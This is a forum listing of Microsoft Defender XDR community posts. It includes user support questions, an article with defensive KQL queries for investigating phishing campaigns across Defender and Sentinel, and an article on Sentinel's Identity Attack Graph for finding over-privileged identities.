Microsoft Defender XDR topics

Microsoft 365 Developer E5 license lacking endpoints and device on defender portal

Dozie — Sat, 13 Jun 2026 13:22:02 GMT

Dear Support Team,

I am a microsoft certified trainer (MCT). I currently have a Microsoft 365 Developer E5 license assigned to my tenant. However, I have noticed that my Microsoft Defender portal (security.microsoft.com) is missing several critical features. For example, I cannot see the Endpoints or Devices menus, which is preventing me from implementing and testing Microsoft Defender for Endpoint.

Additionally, my Azure tenant and Microsoft 365 tenant are separate. This has created challenges when configuring security services such as Microsoft Sentinel (SIEM), as certain prerequisites and integrations require configuration through the Microsoft Defender portal. Due to the missing Defender features, I am unable to complete the necessary setup.

I would appreciate your assistance in understanding:

Why the Endpoints and Devices sections are unavailable in my Defender portal despite having a Microsoft 365 Developer E5 license.
Whether additional licensing, onboarding steps, or tenant configurations are required to enable Microsoft Defender for Endpoint features.
How best to integrate or align my separate Azure and Microsoft 365 tenants to support services such as Microsoft Sentinel and Defender XDR.

These issues are significantly impacting my ability to evaluate and implement Microsoft's security solutions. I would appreciate any guidance or recommendations to resolve them.

Thank you for your assistance.

Kind regards,
[Your Name]

Campaign-Centric Hunting with Microsoft Defender XDR and Microsoft Sentinel

klianos — Thu, 11 Jun 2026 12:34:22 GMT

Phishing investigations usually start with one suspicious email.

A user reports a message.
An alert is generated.
An analyst opens the email details, checks the sender, reviews the URL, and tries to understand whether the message is malicious.

That is a normal starting point. However, in a real SOC investigation, one email is rarely the full story.

Attackers usually operate in campaigns. They reuse sender infrastructure, similar subjects, URLs, payloads, templates, and delivery techniques. A single email may be only one part of a wider phishing or malware campaign targeting multiple users.

This is why campaign-centric hunting is important.

I wrote this article from the perspective of a SOC analyst who often needs to move quickly from a single suspicious email to the full campaign impact. The goal is simple: use Microsoft Defender XDR and Microsoft Sentinel together to understand who was targeted, what was delivered, who clicked, and what should be prioritized first.

Why Campaign-Centric Hunting

When investigating a phishing or malware email, analysts usually need to answer practical questions:

How many users received messages from the same campaign?
Were the messages blocked, junked, delivered, or remediated?
Did any user click the URL?
Did anyone click through a Safe Links warning?
Were any priority or high-risk users affected?
Was the email removed after delivery?
Are there related Defender XDR or Sentinel incidents?

If we only investigate one message, we may miss the bigger picture.

Campaign-centric hunting helps the SOC move from this question:

Is this email malicious?

To this question:

What is the full impact of this campaign?

That shift is important because the response priority should be based on campaign impact, not only on a single alert.

What Campaign Views Provides

Campaign Views in Microsoft Defender for Office 365 help analysts investigate coordinated email attacks such as phishing and malware campaigns.

From Campaign Views, analysts can review campaign-level information such as:

Campaign name
Campaign type
Campaign subtype
Targeted users
Inboxed messages
Clicked users
Visited links
Sender domains
Sender IPs
Payload URLs
Delivery actions
Campaign timeline
Campaign flow

This is useful during triage because it quickly shows whether an email is part of a wider attack.

For example, one reported phishing message may look small at first. But if Campaign Views shows that the same campaign targeted 50 users, delivered messages to 15 inboxes, and had 2 users click the URL, the investigation becomes much more urgent.

Where CampaignInfo Fits

The CampaignInfo table gives analysts a KQL-based way to query campaign-related data.

Some useful fields are:

Field	Purpose
CampaignId	Unique identifier for the campaign
CampaignName	Name of the campaign
CampaignType	Campaign category, such as Phish or Malware
CampaignSubtype	Additional context, such as brand being phished or malware family
NetworkMessageId	Unique identifier for the email message
RecipientEmailAddress	Recipient affected by the campaign
Timestamp	Time when the event was recorded

For correlation, the most important field is usually:

NetworkMessageId

This field can help connect campaign data with other Defender XDR email tables, including:

EmailEvents
UrlClickEvents
EmailPostDeliveryEvents
EmailAttachmentInfo
EmailUrlInfo

This makes CampaignInfo a useful pivot table for campaign-level hunting.

Important note: CampaignInfo is currently documented as Preview. Before using these queries in production analytics rules, validate the table availability, schema, and results in your own tenant.

Practical Scenario

An analyst receives a phishing alert in Microsoft Defender XDR. The alert is related to a user who received a suspicious email with a credential-harvesting URL.

The analyst opens Campaign Views and sees that the message belongs to a wider phishing campaign.

At that point, the investigation should not stop with the original user.

The analyst should now ask:

Who else received this campaign?
How many messages were delivered?
Which users clicked?
Did any users click through the Safe Links warning?
Were the messages removed after delivery?
Are there related incidents in Microsoft Sentinel?

The investigation flow could look like this:

Start from Campaign Views in Microsoft Defender XDR.
Identify the campaign details.
Use CampaignInfo to list affected users and messages.
Join with EmailEvents to validate delivery status.
Join with UrlClickEvents to identify user interaction.
Join with EmailPostDeliveryEvents to confirm remediation.
Review related Microsoft XDR incidents in Microsoft Sentinel.
Prioritize response based on campaign impact.

Query 1: List Recent Campaigns

The first query gives a simple overview of recent campaigns.

CampaignInfo
| where Timestamp > ago(14d)
| summarize
    FirstSeen = min(Timestamp),
    LastSeen = max(Timestamp),
    AffectedUsers = dcount(RecipientEmailAddress),
    Messages = dcount(NetworkMessageId)
    by CampaignId, CampaignName, CampaignType, CampaignSubtype
| order by LastSeen desc

This helps analysts quickly identify campaigns that affected the organization during the selected period.

Useful questions to ask from this output:

Which campaigns are most recent?
Which campaigns affected the most users?
Are the campaigns phishing, malware, or spam?
Is there a specific brand or malware family in the subtype?
Are similar campaigns appearing repeatedly?

Query 2: Understand Delivery Impact

After identifying campaigns, the next step is to understand delivery impact.

A campaign that was fully blocked is different from a campaign that reached user inboxes.

let Campaigns =
CampaignInfo
| where Timestamp > ago(14d)
| project
    CampaignId,
    CampaignName,
    CampaignType,
    CampaignSubtype,
    NetworkMessageId,
    RecipientEmailAddress;
Campaigns
| join kind=leftouter (
    EmailEvents
    | where Timestamp > ago(14d)
    | project
        NetworkMessageId,
        RecipientEmailAddress,
        Subject,
        SenderFromAddress,
        SenderFromDomain,
        SenderIPv4,
        DeliveryAction,
        DeliveryLocation,
        ThreatTypes,
        DetectionMethods,
        Timestamp
) on NetworkMessageId, RecipientEmailAddress
| summarize
    Messages = dcount(NetworkMessageId),
    AffectedUsers = dcount(RecipientEmailAddress),
    Subjects = make_set(Subject, 5),
    SenderDomains = make_set(SenderFromDomain, 10),
    SenderIPs = make_set(SenderIPv4, 10)
    by CampaignId, CampaignName, CampaignType, CampaignSubtype, DeliveryAction, DeliveryLocation
| order by AffectedUsers desc, Messages desc

This query helps separate campaigns that were blocked from campaigns that actually reached users.

From a SOC perspective, delivered messages deserve closer attention, especially if they reached the inbox.

Query 3: Identify Users Who Clicked Campaign URLs

Delivery is important, but clicks usually increase the priority of the incident.

This query joins campaign data with UrlClickEvents.

let Campaigns =
CampaignInfo
| where Timestamp > ago(14d)
| project
    CampaignId,
    CampaignName,
    CampaignType,
    CampaignSubtype,
    NetworkMessageId,
    RecipientEmailAddress;
Campaigns
| join kind=inner (
    UrlClickEvents
    | where Timestamp > ago(14d)
    | project
        NetworkMessageId,
        AccountUpn,
        Url,
        ActionType,
        IsClickedThrough,
        ThreatTypes,
        DetectionMethods,
        IPAddress,
        Workload,
        ClickTime = Timestamp
) on NetworkMessageId
| summarize
    FirstClick = min(ClickTime),
    LastClick = max(ClickTime),
    ClickEvents = count(),
    ClickedUsers = dcount(AccountUpn),
    ClickThroughUsers = dcountif(AccountUpn, IsClickedThrough == true),
    ClickedUrls = make_set(Url, 10),
    SourceIPs = make_set(IPAddress, 10)
    by CampaignId, CampaignName, CampaignType, CampaignSubtype
| order by ClickThroughUsers desc, ClickedUsers desc, LastClick desc

This query helps identify campaigns where users interacted with the payload.

If a user clicked a phishing URL, the next step should usually include identity-focused investigation, such as reviewing sign-in activity, MFA status, session activity, and possible risky sign-ins.

Query 4: Focus on Click-Through Events

Safe Links may block access to a malicious site. In some cases, however, a user may continue through a warning page.

Those cases should be reviewed carefully.

let Campaigns =
CampaignInfo
| where Timestamp > ago(30d)
| project
    CampaignId,
    CampaignName,
    CampaignType,
    CampaignSubtype,
    NetworkMessageId,
    RecipientEmailAddress;
Campaigns
| join kind=inner (
    UrlClickEvents
    | where Timestamp > ago(30d)
    | where IsClickedThrough == true
    | project
        NetworkMessageId,
        AccountUpn,
        Url,
        ActionType,
        ThreatTypes,
        IPAddress,
        ClickTime = Timestamp
) on NetworkMessageId
| project
    ClickTime,
    CampaignId,
    CampaignName,
    CampaignType,
    CampaignSubtype,
    AccountUpn,
    RecipientEmailAddress,
    Url,
    ActionType,
    ThreatTypes,
    IPAddress
| order by ClickTime desc

This is one of the most useful views during incident response.

A click-through event does not automatically mean compromise, but it is a strong reason to investigate the user account further.

Query 5: Confirm Post-Delivery Remediation

A malicious message may be delivered first and removed later by ZAP, AIR, or manual remediation.

This query joins CampaignInfo with EmailPostDeliveryEvents.

let Campaigns =
CampaignInfo
| where Timestamp > ago(30d)
| project
    CampaignId,
    CampaignName,
    CampaignType,
    CampaignSubtype,
    NetworkMessageId,
    RecipientEmailAddress;
Campaigns
| join kind=leftouter (
    EmailPostDeliveryEvents
    | where Timestamp > ago(30d)
    | project
        NetworkMessageId,
        RecipientEmailAddress,
        RemediationTime = Timestamp,
        Action,
        ActionType,
        ActionTrigger,
        ActionResult,
        DeliveryLocation,
        SourceLocation
) on NetworkMessageId, RecipientEmailAddress
| summarize
    RemediatedMessages = dcountif(NetworkMessageId, isnotempty(ActionType)),
    RemediationTypes = make_set(ActionType, 10),
    RemediationResults = make_set(ActionResult, 10),
    LastRemediation = max(RemediationTime)
    by CampaignId, CampaignName, CampaignType, CampaignSubtype
| order by LastRemediation desc

This helps answer a very important question:

Were the delivered malicious messages actually removed?

This is useful for both SOC triage and reporting because it shows not only detection, but also response.

Query 6: Campaign Blast Radius Summary

The following query combines campaign, delivery, click, and remediation data into one campaign-level view.

let TimeRange = 30d;
let Campaigns =
CampaignInfo
| where Timestamp > ago(TimeRange)
| project
    CampaignId,
    CampaignName,
    CampaignType,
    CampaignSubtype,
    NetworkMessageId,
    RecipientEmailAddress;
let Delivery =
EmailEvents
| where Timestamp > ago(TimeRange)
| summarize
    DeliveryActions = make_set(DeliveryAction, 10),
    DeliveryLocations = make_set(DeliveryLocation, 10),
    DeliveredMessages = dcountif(NetworkMessageId, DeliveryAction =~ "Delivered"),
    JunkedMessages = dcountif(NetworkMessageId, DeliveryAction =~ "Junked"),
    BlockedMessages = dcountif(NetworkMessageId, DeliveryAction =~ "Blocked"),
    Subjects = make_set(Subject, 5),
    SenderDomains = make_set(SenderFromDomain, 10)
    by NetworkMessageId, RecipientEmailAddress;
let Clicks =
UrlClickEvents
| where Timestamp > ago(TimeRange)
| summarize
    ClickEvents = count(),
    ClickThroughEvents = countif(IsClickedThrough == true),
    FirstClick = min(Timestamp),
    LastClick = max(Timestamp),
    ClickedUrls = make_set(Url, 10)
    by NetworkMessageId;
let Remediation =
EmailPostDeliveryEvents
| where Timestamp > ago(TimeRange)
| summarize
    RemediationActions = make_set(ActionType, 10),
    LastRemediation = max(Timestamp)
    by NetworkMessageId, RecipientEmailAddress;
Campaigns
| join kind=leftouter Delivery on NetworkMessageId, RecipientEmailAddress
| join kind=leftouter Clicks on NetworkMessageId
| join kind=leftouter Remediation on NetworkMessageId, RecipientEmailAddress
| summarize
    AffectedUsers = dcount(RecipientEmailAddress),
    Messages = dcount(NetworkMessageId),
    DeliveredMessages = sum(DeliveredMessages),
    JunkedMessages = sum(JunkedMessages),
    BlockedMessages = sum(BlockedMessages),
    TotalClickEvents = sum(ClickEvents),
    ClickThroughEvents = sum(ClickThroughEvents),
    Subjects = make_set(Subjects, 10),
    SenderDomains = make_set(SenderDomains, 10),
    ClickedUrls = make_set(ClickedUrls, 10),
    RemediationActions = make_set(RemediationActions, 10),
    LastClick = max(LastClick),
    LastRemediation = max(LastRemediation)
    by CampaignId, CampaignName, CampaignType, CampaignSubtype
| extend SuggestedPriority =
    case(
        ClickThroughEvents > 0, "High",
        TotalClickEvents > 0, "Medium",
        DeliveredMessages > 0, "Medium",
        "Low"
    )
| order by SuggestedPriority asc, AffectedUsers desc, Messages desc

This type of query can be useful during hunting sessions, incident review, and campaign reporting.

The goal is not only to collect more data. The goal is to help the analyst decide what needs attention first.

Correlating Campaign Activity with Microsoft Sentinel

When Microsoft Defender XDR is connected to Microsoft Sentinel, incidents and alerts can be synchronized into the Sentinel incident queue.

This allows the SOC to correlate campaign-related email activity with other security signals, such as:

Suspicious sign-ins
Identity alerts
Endpoint alerts
Cloud app activity
OAuth consent activity
Data exfiltration attempts
Related Microsoft XDR incidents

For example, if a user clicked a phishing URL, the SOC can then review whether the same user had suspicious sign-in activity shortly after the click.

The following query is a simple starting point for reviewing Microsoft XDR incidents in Microsoft Sentinel.

SecurityIncident
| where TimeGenerated > ago(30d)
| where ProviderName == "Microsoft XDR"
| where Title has_any ("phish", "phishing", "email", "malware", "campaign")
| summarize
    Incidents = count(),
    HighSeverity = countif(Severity == "High"),
    MediumSeverity = countif(Severity == "Medium"),
    Closed = countif(Status == "Closed"),
    Active = countif(Status == "Active")
    by bin(TimeGenerated, 1d)
| order by TimeGenerated desc

This query does not replace campaign hunting. It simply helps analysts understand how email-related activity is represented in the Sentinel incident queue.

Suggested SOC Workflow

A practical campaign-centric workflow could look like this:

Step 1: Start from Campaign Views

Review campaigns with delivered messages, clicked users, visited links, or high user impact.

Step 2: Pivot to KQL

Use CampaignInfo to list campaign-related messages and affected recipients.

Step 3: Validate Delivery

Join with EmailEvents to confirm whether messages were blocked, junked, delivered, or replaced.

Step 4: Review User Interaction

Join with UrlClickEvents to identify users who clicked URLs or clicked through Safe Links warnings.

Step 5: Confirm Remediation

Join with EmailPostDeliveryEvents to confirm whether delivered messages were removed after delivery.

Step 6: Correlate in Sentinel

Review related Microsoft XDR incidents and correlate with identity, endpoint, and cloud activity.

Step 7: Decide Response

Depending on the impact, the SOC may decide to:

Escalate the incident
Notify affected users
Review user sign-ins
Revoke user sessions
Reset passwords
Block sender domains or URLs
Submit false negatives
Create a watchlist for related indicators
Tune analytics rules or response processes

Suggested Priority Logic

Not every campaign needs the same level of response.

A simple triage model could be:

Condition	Suggested priority
Campaign blocked before delivery	Low
Campaign delivered to junk	Low to Medium
Campaign delivered to inbox	Medium
Campaign delivered to multiple inboxes	Medium to High
User clicked URL	High
User clicked through warning	High
Priority account clicked	High
Click followed by suspicious sign-in	Critical

This model should be adapted to each organization’s risk profile and response process.

Limitations and Things to Validate

Before using this approach in production, validate the following:

Defender for Office 365 Plan 2 availability
Campaign Views permissions
CampaignInfo table availability
Defender XDR connector configuration
Advanced hunting event streaming
Field names in your environment
Retention period
Data latency
Join behavior using NetworkMessageId
Whether click events can be joined to email metadata in all cases

One important limitation is that some URL click events may not join cleanly with email metadata. For example, clicks from Drafts or Sent Items may not have the same message metadata available for correlation.

Also, because CampaignInfo is currently documented as Preview, I would avoid depending on it alone for critical production automation without testing and validation.

Pending Approval/Provisioning for Microsoft Defender XDR Lab/Trial Environment

TechDefender — Wed, 10 Jun 2026 14:43:13 GMT

Hello Microsoft Community Team,

On June 26, 2026, our organization applied for a Microsoft 365 Developer Environment / Free Trial to support evaluation of the Microsoft Defender XDR Lab environment.

To date, the environment has not been provisioned, and we have not received any status updates or confirmation.

Impact:

Current Status: We are currently utilizing our production environment to test project capabilities, which poses risks and limitations.
Future Intent: Our organization plans to transition to a full, paid Business/Enterprise purchase immediately upon proving the platform’s benefits.

Urgency: This delay is stalling our evaluation phase. We urgently need this environment onboarded and activated so we can proceed with deployment tests and subsequent procurement.

Request: Please review the status of our registration and expedite the onboarding/provisioning of this developer environment.

Thank you for your prompt assistance.

Identity Attack Graph in Microsoft Sentinel

klianos — Wed, 06 May 2026 11:47:45 GMT

Identity is now one of the most important attack surfaces in cloud security. In many real-world incidents, attackers do not rely only on malware or network movement. Instead, they abuse identities, permissions, role assignments, group memberships, service principals, and misconfigured access paths to move from an initial compromise to high-value resources.

This is why the new Identity Attack Graph in Microsoft Sentinel is an important capability. It helps security teams visualize how identities are connected to Azure resources and how an attacker could potentially move from one identity to another resource through permissions and relationships.

What is the Identity Attack Graph?

The Identity Attack Graph in Microsoft Sentinel provides a visual way to understand how identities, permissions, groups, and Azure resources are connected.

Instead of manually checking multiple portals, logs, and role assignments, the graph helps analysts understand relationships such as:

Which identities have access to specific Azure resources
Which users or service principals are over-privileged
Which groups provide indirect access to sensitive resources
Which identities may have a path to critical assets
What the potential blast radius of a compromised identity could be
How attackers could move laterally through identity and permission relationships

This is especially useful because identity risk is often not obvious when looking at a single user, group, or role assignment in isolation. The real risk usually appears when these relationships are connected together.

A user may not directly have access to a sensitive resource, but the user may be a member of a group that has access to another resource, which then has permissions that create a path toward a high-value asset.

The Identity Attack Graph helps expose these hidden relationships.

Why this matters

In many Azure environments, permissions grow over time. Users change roles, groups are reused, emergency access is granted, service principals are created, and temporary permissions are not always removed.

As a result, organizations often end up with:

Too many privileged identities
Unused or stale permissions
Service principals with excessive access
Guest users with unnecessary permissions
Groups that provide indirect access to sensitive resources
Subscription-level roles that are broader than required
Lack of visibility into who can reach critical assets

Traditional investigation usually requires analysts to move between several places, including Microsoft Entra ID, Azure RBAC, Azure Activity logs, Sentinel queries, Defender XDR, and Azure Resource Graph.

The Identity Attack Graph reduces this complexity by presenting identity relationships as a connected graph.

This makes it easier to answer practical security questions such as:

“What can this identity access?”
“What happens if this user is compromised?”
“Which identities have a path to critical resources?”
“Which access path should we remediate first?”
“Which permissions create the highest risk?”
“Why does this identity have access to this asset?”

Key use cases

The feature can support several important identity security and cloud security scenarios.

1. Attack path discovery

Security teams can use the graph to identify how an attacker could move from a compromised identity to a sensitive Azure resource.

This is useful during both proactive assessments and active incident response.

For example, if a user account is suspected to be compromised, the graph can help identify which resources may be reachable through that identity’s direct or indirect permissions.

2. Blast-radius analysis

When an identity is compromised, one of the first questions is:

What could the attacker access with this identity?

The Identity Attack Graph can help analysts understand the potential impact of a compromised user, group, service principal, or managed identity.

This can help with containment, prioritization, and communication with stakeholders.

3. Over-privileged identity detection

The graph can help identify identities that have more permissions than they need.

Include:

Users with Owner or Contributor access at subscription level
Service principals with broad permissions
Guest users with privileged access
Groups that grant access to sensitive resources
Identities that have access to multiple critical assets

This is useful for enforcing least privilege and reducing identity attack surface.

4. Privileged access review

IAM and cloud security teams can use the graph to support access reviews.

Instead of only reviewing a list of role assignments, teams can understand the real impact of those permissions.

This helps answer:

Is this role assignment still required?
Does this group create unnecessary risk?
Does this identity have access to critical resources?
Is this access direct or inherited?
Is this path expected or suspicious?

5. Incident response and threat hunting

For SOC teams, the graph can support investigations involving:

Suspicious sign-ins
Compromised users
Privilege escalation
Suspicious role assignments
Lateral movement
Service principal abuse
Unusual access to sensitive resources

The graph does not replace logs or hunting queries, but it gives analysts a faster way to understand relationships and prioritize what to investigate next.

Important prerequisites and setup notes

During my evaluation, there were a few important setup requirements that should be clearly highlighted.

Microsoft Sentinel permissions

The environment must already be onboarded to Microsoft Sentinel, and the user testing or configuring the feature must have the appropriate Microsoft Sentinel permissions.

The documented role requirement includes Microsoft Sentinel Contributor.

However, in my experience, this is not always enough for the full onboarding and validation experience.

Subscription-level Owner permission

One important prerequisite that should be clearly mentioned is that Owner permissions at the Azure subscription level may be required.

This is especially important during onboarding and activation, because the graph depends on access to Azure resource and permission relationships.

If the user does not have sufficient subscription-level permissions, some setup steps or visibility into resources and relationships may not work as expected.

Recommended permission note:

In addition to Microsoft Sentinel permissions, ensure that the user configuring the preview has Owner permissions at the subscription level for the subscriptions that should be represented in the graph.

This should be made very clear in the onboarding documentation to avoid confusion during deployment.

Required data connector: Azure Resource Graph

Another very important setup step is the Azure Resource Graph data connector.

The Azure Resource Graph connector must be:

Installed manually

Activated manually

Connected to the relevant Sentinel workspace

This is a key point. The connector is not automatically enabled just because the Identity Attack Graph feature is available.

Without this connector, Sentinel may not have the required Azure resource relationship data needed to build a useful graph.

Why Azure Resource Graph is important

Azure Resource Graph provides visibility across Azure resources, subscriptions, and relationships. For an identity attack graph, this data is essential.

The graph needs to understand not only identities, but also the resources those identities can reach.

This may include:

Subscriptions
Resource groups
Storage accounts
Key Vaults
Virtual machines
Managed identities
Role assignments
Resource relationships
Resource hierarchy
Critical assets

Without Azure Resource Graph data, the attack graph may not provide the full picture of how identities connect to Azure resources.

For this reason, I believe the onboarding instructions should explicitly state:

The Azure Resource Graph data connector must be manually installed and activated before using the Identity Attack Graph.

Recommended onboarding checklist

Before using the Identity Attack Graph, I would recommend validating the following:

Requirement

Recommendation

Microsoft Sentinel workspace

Ensure the workspace is active and accessible

Sentinel role

Microsoft Sentinel Contributor or equivalent access

Subscription permissions

Owner permissions at subscription level

Azure Resource Graph connector

Manually install and activate the connector

Azure RBAC visibility

Ensure access to relevant role assignments

Microsoft Entra ID visibility

Ensure identity and group data is available

Resource visibility

Validate that relevant subscriptions and resources are visible

Data freshness

Allow enough time for data collection and graph population

This checklist can help avoid issues where the feature appears available but does not show the expected relationships.

How the Identity Attack Graph improves investigation

Before using a graph-based approach, an analyst often needs to manually collect and correlate data from multiple sources.

A typical investigation may include:

Checking the user in Microsoft Entra ID
Reviewing group memberships
Reviewing Azure RBAC assignments
Checking subscription-level access
Looking at resource-level permissions
Reviewing PIM activations
Searching Sentinel logs
Running KQL queries
Checking Azure Activity logs
Validating access with cloud or IAM teams

This process can be time-consuming.

The Identity Attack Graph helps reduce this effort by showing relationships visually. This allows the analyst to understand the possible path faster and decide where to focus.

For example, instead of manually asking:

“Does this user have access to this resource through any group, role, or inherited permission?”

The graph can help show the relationship directly.

This is valuable because many risky permissions are indirect. The user may not have direct access, but may inherit access through a group, role assignment, nested relationship, or service principal path.

Where validation is still needed

Although the graph provides strong visibility, I would still validate findings before taking remediation action.

This is especially important because removing access can affect business operations or production systems.

I would still validate with:

Microsoft Sentinel KQL queries
Microsoft Entra sign-in logs
Microsoft Entra audit logs
Azure Activity logs
Azure RBAC role assignments
PIM activation history
Defender XDR signals
Defender for Cloud recommendations
Azure Resource Graph queries
IAM team input
Cloud platform team input
Application owner confirmation

The graph is very useful for discovery and prioritization, but final remediation decisions should still be validated.

GQL and graph-based investigation

One of the interesting aspects of this feature is the use of graph-based thinking.

Security teams are already familiar with query languages such as KQL for log analytics. However, graph investigation is different.

KQL is excellent for searching and analyzing events over time, such as sign-ins, alerts, audit logs, and activity logs.

Graph Query Language, or GQL, is designed for querying connected data. Instead of only asking what happened at a specific time, graph queries help answer how entities are connected.

In identity security, this is very powerful because the risk often exists in the relationship between objects.

Graph entities include:

Users
Groups
Service principals
Managed identities
Roles
Subscriptions
Resource groups
Azure resources
Permissions
Sessions
Attack paths

Graph relationships include:

User is member of group
Group has role assignment
Identity has access to resource
Service principal owns application
Managed identity can access Key Vault
User can escalate privilege
Identity can reach critical asset

This allows analysts to ask more relationship-focused questions, such as:

Which identities can reach this resource?
What is the shortest path from this user to a critical asset?
Which groups create privileged access?
Which service principals have paths to sensitive resources?
Which identities have indirect access through nested relationships?
Which attack paths include subscription Owner or Contributor permissions?

KQL vs GQL: why both are useful

KQL and GQL serve different but complementary purposes.

Area

KQL

GQL / Graph Querying

Main purpose

Analyze logs and events

Analyze relationships and paths

Best for

Time-based investigation

Connected identity/resource investigation

question

“Did this user sign in from a risky location?”

“What resources can this user reach?”

Data model

Tables

Nodes and edges

Common use

Detection, hunting, analytics

Attack path discovery, relationship mapping

Strength

Event correlation

Path discovery

In practice, security teams need both.

KQL can identify a suspicious sign-in.
The Identity Attack Graph can show what the compromised identity could access.
KQL can then be used again to validate whether the attacker interacted with those resources.

This creates a strong workflow between event-based detection and relationship-based investigation.

Graph investigation scenarios

The following are conceptual are the types of graph questions that would be useful in identity attack path analysis.

Find paths from a user to critical resources

A useful graph query would help answer:

Show me all paths from this user to critical Azure resources.

This could help determine whether a compromised identity has a direct or indirect route to sensitive assets.

Find identities with paths to Key Vaults

Key Vaults often contain secrets, certificates, and keys.

A graph query could help identify:

Which users, groups, service principals, or managed identities have a path to Key Vault resources?

This would be useful for prioritizing access review and remediation.

Find subscription-level privileged identities

Subscription-level roles are high-impact because they can provide broad access.

A graph query could help find:

Which identities have Owner or Contributor access at subscription level?

This is especially important because subscription-level permissions can create wide attack paths.

Find indirect access through groups

Many access paths are created through group membership.

A graph query could help answer:

Which users have access to this resource through group membership?

This can help IAM teams clean up excessive or unnecessary group-based access.

Find service principals with broad access

Service principals are often used for automation and applications, but they can become high-risk if over-privileged.

A useful query would identify:

Which service principals have broad access to subscriptions or critical resources?

This is important because service principal compromise can lead to significant impact.

How GQL can improve analyst workflows

Adding strong GQL support to the graph explorer would make the feature more powerful for advanced users.

You could use graph queries to:

Search for specific paths
Filter by identity type
Filter by role
Filter by resource type
Find shortest paths
Find high-risk paths
Exclude known approved paths
Focus on critical assets
Query only privileged relationships
Identify unexpected permission chains

This would help both SOC analysts and cloud security engineers move from visual exploration to repeatable analysis.

A SOC analyst may want a quick visual graph during an incident, while a cloud security engineer

Scope filter (preview) has stopped working in Edge/Chrome

Pal Espen Bru — Wed, 06 May 2026 08:05:00 GMT

We have noticed that the Scope filter (preview) under Exposure Management -> Vulnerability Management has stopped working across all our desktops on the latest versions of Edge and Chrome. We see it across the board so guess it should be replicatable by you too.

Not critical enough that it warrants our time spent on an incident since it'll likely get reported anyhow, but putting it out here in case it's picked up by the Product Owners or Dev teams.

Microsoft Defender Incident – Handling incident severity change.

esanya2280 — Mon, 04 May 2026 12:06:36 GMT

I am polling incidents via Microsoft Graph API every 5 minutes, initially filtering out Low/Informational incidents.

Later, some low severity incidents are updated to High/Medium severity.

Is there any built-in mechanism in Defender for tracking severity transitions?

Fishing linking passwords and data

79470Valen — Thu, 02 Apr 2026 15:06:48 GMT

activar control de seguridad mejorada antivirus maleware and fishing data

Why there is no Signature status for the new process in the DeviceProcessEvent table?

rstanile — Thu, 12 Mar 2026 09:22:30 GMT

According to the schema, there is only field for checking the initiating (parent) process digital signature, named InitiatingProcessSignatureStatus. So we have information if the process that initiated the execution is signed. However, in many security use-cases it is important to know if the spawned (child) process is digitally signed.

Let's assume that Winword.exe (signed) executed unsigned binary - this is definitely different situation than Winword.exe executing some signed binary (although both may be suspicious, or legitimate).

I feel that some valuable information is not provided, and I'd like to know the reason. Is it related to the logging performance? Or some memory structures, that are present only for the already existing process?

Issues blocking DeepSeek

KevinJohnson1 — Thu, 26 Feb 2026 02:45:18 GMT

Hi all,

I am investigating DeepSeek usage in our Microsoft security environment and have found inconsistent behaviour between Defender for Cloud Apps, Defender for Endpoint, and IOC controls. I am hoping to understand if others have seen the same.

Environment

Full Microsoft security and management suite

What we are seeing

Defender for Cloud Apps

DeepSeek is classified as an Unsanctioned app

Cloud Discovery shows ongoing traffic and active usage

Multiple successful sessions and data activity visible

Defender for Endpoint Indicators

DeepSeek domains and URIs have been added as Indicators with Block action

Indicators show as successfully applied

Advanced Hunting and Device Timeline

Multiple executable processes are initiating connections to DeepSeek domains

Examples include Edge, Chrome, and other executables making outbound HTTPS connections

Connection status is a mix of Successful and Unsuccessful

No block events recorded

Settings

Network Protection enabled in block mode

Web Content Filtering enabled

SmartScreen enabled

File Hash Computation enabled

Network Protection Reputation mode set to 1

Has anyone else had similar issues when trying to block DeepSeek or other apps via Microsoft security suite?

I am currently working with Microsoft support on this but wanted to ask here as well.

Observed Automation Discrepancies

Aar123 — Mon, 09 Feb 2026 08:54:18 GMT

Hi Team ... I want to know the logic behind the Defender XDR Automation Engine . How it works ?

I have observed Defender XDR Automation Engine Behavior contrary to expectations of identical incident and automation handling in both environments, discrepancies were observed. Specifically, incidents with high-severity alerts were automatically closed by Defender XDR's automation engine before reaching their SOC for review, raising concerns among clients and colleagues. Automation rules are clearly logged in the activity log, whereas actions performed by Microsoft Defender XDR are less transparent .

A high-severity alert related to a phishing incident was closed by Defender XDR's automation, resulting in the associated incident being closed and removed from SOC review. Wherein the automation was not triggered by our own rules, but by Microsoft's Defender XDR, and sought clarification on the underlying logic.

Invalidating kerberos tickets via XDR?

JoelNyRe — Mon, 26 Jan 2026 19:40:38 GMT

Since we have alerts every now and then, regarding suspected Pass the Ticket-incidents, I want to know if there's a way to make a user's kerberos ticket invalid? Like we have the "Revoke Session" in Entra ID, is there anything similar that we can do in XDR?

Where can I get the latest info on Advanced Hunting Table Retirement

david_n_o — Tue, 20 Jan 2026 11:35:09 GMT

First question - where can I find the latest info on the deprecation of advanced hunting tables?

Background - I was developing some detections and as I was trying to decide on which table I should use I opened up the docs containing the schema for the `EntraIdSignInEvents` table (https://learn.microsoft.com/en-us/defender-xdr/advanced-hunting-entraidsigninevents-table) and was met by two ambiguous banners stating:

"On December 9, 2025, the EntraIdSignInEvents table will replace AADSignInEventsBeta. This change will be made to remove the latter's preview status and to align it with the existing product branding. Both tables will coexist until AADSignInEventsBeta is deprecated after the said date.

To ensure a smooth transition, make sure that you update your queries that use the AADSignInEventsBeta table to use EntraIdSignInEvents before the previously mentioned date. Your custom detections will be updated automatically and won't require any changes."

"Some information relates to prereleased product that may be substantially modified before it's commercially released. Microsoft makes no warranties, express or implied, with respect to the information provided here.

Customers need to have a Microsoft Entra ID P2 license to collect and view activities for this table."

This made me very confused as I still have data from AADSignInEventsBeta on my tenant from today. I'm not sure what this means and I'm hoping to get some clear info on table retirement.

Entity playbook in XDR

Kosa — Fri, 19 Dec 2025 10:08:37 GMT

Hello All!

In my Logic Apps Sentinel automations I often use the entity trigger to run some workflows. Some time ago there was information, that Sentinel will be moved to the Microsoft XDR, some of the Sentinel elements are already there. In XDR I can run playbook from the incident level, but I can't do it from the entity level - for example in the XDR when I clicked in the IP or when I open IP address page I can't find the Run playbook button or something like that.

Do you know if the Run playbook on entity feature will be moved to XDR also?

Best,
Piotr K.

Scam Defender pop Up… help please

Hmartin1 — Thu, 18 Dec 2025 18:07:46 GMT

Can someone please help

my dad has had what looks like scam pop ups come up on his MacBook

I have reported to Microsoft but don’t know how long it will be until they get back to me.
I want to know if anyone can confirm they’re scams and how I can get them off his screen, it won’t let us click on the X

Thank you

Custom Data Collection - Not Collect Events

GuidoImpe — Tue, 09 Dec 2025 13:46:42 GMT

Hello,

